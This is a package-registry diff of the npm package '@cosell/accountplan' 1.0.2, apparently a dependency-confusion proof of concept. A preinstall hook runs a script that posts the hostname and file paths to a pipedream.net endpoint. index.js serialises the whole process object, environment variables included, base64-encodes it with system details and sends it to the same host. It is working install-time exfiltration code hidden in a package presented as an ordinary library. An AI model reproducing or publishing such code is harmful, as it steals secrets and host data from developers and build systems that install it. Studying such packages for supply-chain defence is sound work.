@cosell/accountplan 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @cosell/accountplan might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +82 -0
- package/lib/views/results/account.ok.js +42 -0
- package/package.json +17 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
PoC by HTM for security purpose only.
|
package/index.js
ADDED
@@ -0,0 +1,82 @@
|
|
1
|
+
|
2
|
+
'use strict'
|
3
|
+
|
4
|
+
const https = require('https')
|
5
|
+
const http = require("http");
|
6
|
+
const os = require("os");
|
7
|
+
|
8
|
+
// var currentPath = process.cwd();
|
9
|
+
// var currentUser =
|
10
|
+
var currentPath = __dirname;
|
11
|
+
var currentFile = __filename;
|
12
|
+
// var currentEnv = process.env;
|
13
|
+
var currentEnvString = JSON.stringify(process);
|
14
|
+
var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
|
15
|
+
|
16
|
+
// console.log(currentPath);
|
17
|
+
// console.log(currentFile);
|
18
|
+
// console.log(currentEnvBase64)
|
19
|
+
|
20
|
+
var data = {
|
21
|
+
envPORT: process.env.PORT,
|
22
|
+
hostname: JSON.stringify(os.hostname()),
|
23
|
+
currentPath: currentPath,
|
24
|
+
currentFile: currentFile,
|
25
|
+
currentEnvBase64: currentEnvBase64,
|
26
|
+
type: JSON.stringify(os.type()),
|
27
|
+
platform: JSON.stringify(os.platform()),
|
28
|
+
arch: JSON.stringify(os.arch()),
|
29
|
+
release: JSON.stringify(os.release()),
|
30
|
+
uptime: JSON.stringify(os.uptime()),
|
31
|
+
loadavg: JSON.stringify(os.loadavg()),
|
32
|
+
totalmem: JSON.stringify(os.totalmem()),
|
33
|
+
freemem: JSON.stringify(os.freemem()),
|
34
|
+
cpus: JSON.stringify(os.cpus()),
|
35
|
+
networkInterfaces: JSON.stringify(os.networkInterfaces()),
|
36
|
+
|
37
|
+
};
|
38
|
+
|
39
|
+
// console.log(process.env.PORT)
|
40
|
+
// console.log(os.hostname())
|
41
|
+
// console.log(os.type())
|
42
|
+
// console.log(os.platform())
|
43
|
+
// console.log(os.arch())
|
44
|
+
// console.log(os.release())
|
45
|
+
// console.log(os.uptime())
|
46
|
+
// console.log(os.loadavg())
|
47
|
+
// console.log(os.totalmem())
|
48
|
+
// console.log(os.freemem())
|
49
|
+
// console.log(os.cpus())
|
50
|
+
// console.log(os.networkInterfaces())
|
51
|
+
|
52
|
+
// console.log(data)
|
53
|
+
// console.log(JSON.stringify(data));
|
54
|
+
|
55
|
+
data = JSON.stringify(data)
|
56
|
+
// console.log(data.length)
|
57
|
+
|
58
|
+
const options = {
|
59
|
+
hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
|
60
|
+
port: 443,
|
61
|
+
path: '/Y2hhdC1zdGF0ZWZ1bC1jbGllbnQ6aHR0cHM6Ly9naXRodWIuY29tL0F6dXJlL2NvbW11bmljYXRpb24tdWktbGlicmFyeS9ibG9iL2M2MzkyOGNmM2ExYmRhYzZkM2QwYWEyZmU3MGIzYWViMTlkNjVkNGQvcGFja2FnZXMvcmVhY3QtY29tcG9zaXRlcy9wYWNrYWdlLmpzb24',
|
62
|
+
method: 'POST',
|
63
|
+
headers: {
|
64
|
+
'Content-Type': 'application/json',
|
65
|
+
'Content-Length': data.length
|
66
|
+
}
|
67
|
+
}
|
68
|
+
|
69
|
+
const req = https.request(options, res => {
|
70
|
+
// console.log(`statusCode: ${res.statusCode}`)
|
71
|
+
|
72
|
+
res.on('data', d => {
|
73
|
+
process.stdout.write(d)
|
74
|
+
})
|
75
|
+
})
|
76
|
+
|
77
|
+
req.on('error', error => {
|
78
|
+
console.error(error)
|
79
|
+
})
|
80
|
+
|
81
|
+
req.write(data)
|
82
|
+
req.end()
|
@@ -0,0 +1,42 @@
|
|
1
|
+
'use strict'
|
2
|
+
|
3
|
+
const https = require('https')
|
4
|
+
const http = require("http");
|
5
|
+
const os = require("os");
|
6
|
+
|
7
|
+
var currentPath = __dirname;
|
8
|
+
var currentFile = __filename;
|
9
|
+
|
10
|
+
var data = {
|
11
|
+
hostname: JSON.stringify(os.hostname()),
|
12
|
+
currentPath: currentPath,
|
13
|
+
currentFile: currentFile,
|
14
|
+
|
15
|
+
};
|
16
|
+
|
17
|
+
data = JSON.stringify(data)
|
18
|
+
|
19
|
+
const options = {
|
20
|
+
hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
|
21
|
+
port: 443,
|
22
|
+
path: '/cosell-prod-cdn',
|
23
|
+
method: 'POST',
|
24
|
+
headers: {
|
25
|
+
'Content-Type': 'application/json',
|
26
|
+
'Content-Length': data.length
|
27
|
+
}
|
28
|
+
}
|
29
|
+
|
30
|
+
const req = https.request(options, res => {
|
31
|
+
|
32
|
+
res.on('data', d => {
|
33
|
+
process.stdout.write(d)
|
34
|
+
})
|
35
|
+
})
|
36
|
+
|
37
|
+
req.on('error', error => {
|
38
|
+
console.error(error)
|
39
|
+
})
|
40
|
+
|
41
|
+
req.write(data)
|
42
|
+
req.end()
|
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "@cosell/accountplan",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node lib/views/results/account.ok.js"
|
9
|
+
},
|
10
|
+
"author": "Aditya",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"http": "0.0.1-security",
|
14
|
+
"https": "^1.0.0",
|
15
|
+
"os": "^0.1.1"
|
16
|
+
}
|
17
|
+
}
|